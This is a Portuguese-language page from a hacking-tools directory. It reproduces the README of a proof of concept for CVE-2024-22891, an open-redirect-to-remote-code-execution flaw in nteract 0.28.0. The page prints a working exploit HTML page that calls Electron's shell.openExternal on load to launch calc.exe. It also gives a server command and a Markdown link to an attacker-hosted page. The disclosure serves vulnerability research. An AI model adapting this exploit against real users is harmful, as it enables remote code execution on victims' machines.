Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-22891 — nteract 0.28.0 open redirect to RCE exploit | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2024-22891
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed Teaming
GitHubeqstlab/cve-2024-22891

CVE-2024-22891

nteract 0.28.0 open redirect to RCE exploit

Ver Repositório
há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Nteract PoC

Uma Prova de Conceito para a vulnerabilidade CVE-2024-22891.

nteract 0.28.0 permite um webview do Electron via link Markdown, resultando em execução remota de código.

Neste repositório há um exemplo de aplicação vulnerável e um exploit de prova de conceito (POC) da mesma. Como PoC, há um arquivo python que automatiza o processo.

1. Visão Geral da Vulnerabilidade:

  • Assunto da Vulnerabilidade: RCE via link Markdown
  • Tipo de Vulnerabilidade: Outro: Open Redirect
  • Manifestação do Problema: Electron Webview
  • Componente Afetado: markdown
  • Tipo de Ataque: Execução Remota de Código
  • Vetores de Ataque: Para explorar a vulnerabilidade, alguém deve clicar no link ou acessar o link do projeto compartilhado.
  • Número CVE Reservado: CVE-2024-22891

2. Causa da Vulnerabilidade:

  • nteract 0.28.0 permite um webview do Electron via link Markdown, resultando em execução remota de código (porque nodeIntegration em webPreferences é true).

  • Explicação do exploit

    • Ao gerar links através de MarkDown no aplicativo, ele cria um WebView via Electron, permitindo acesso externo ao link. Consequentemente, um atacante pode alcançar Execução Remota de Código (RCE) conectando-se ao link que leva ao servidor do atacante.

Prova de conceito (POC)

Passo 1) O atacante cria um servidor com o código fonte para lançar um calc.exe usando a função openExternal().

root@kitploit:~
<html>
<head>
    <title>jruru Link</title>
</head>
<body>
    <a id="jruruLink">jruru Link</a>

    <script>
         // Script function definition
        function openExternal() {
            try {
                const { shell } = require('electron');
                shell.openExternal('file:C:/Windows/System32/calc.exe');
            } catch(e) {
                alert('JRURU - External link cannot be opened.');
                console.error(e);
            }
        }
        // Automatically execute openExternal function after the page is loaded
        document.addEventListener('DOMContentLoaded', function() {
            openExternal();
        });
    </script>
</body>
</html>

Nota: ※ Se quiser testá-lo rapidamente, crie um servidor no PC do atacante com o seguinte código.

root@kitploit:~
$ python -m http.server 80

Passo 2) Execute o aplicativo nteract no sistema da vítima e crie um link Markdown, ou compartilhe o arquivo ipynb do atacante como exemplo de código. Em seguida, execute calc.exe.

root@kitploit:~
[Leia Isto] (http://[attcker_adress]/shard_data.html)

neteract nteract2


3. Informações Adicionais

Ao executar um arquivo .ipynb através de compartilhamento de arquivos, tenha cuidado pois o link pode não estar visível. Este calc.exe poderia ter sido qualquer payload malicioso local ou remoto que poderia ter dado ao atacante acesso total ao sistema da vítima.

Baixar ferramenta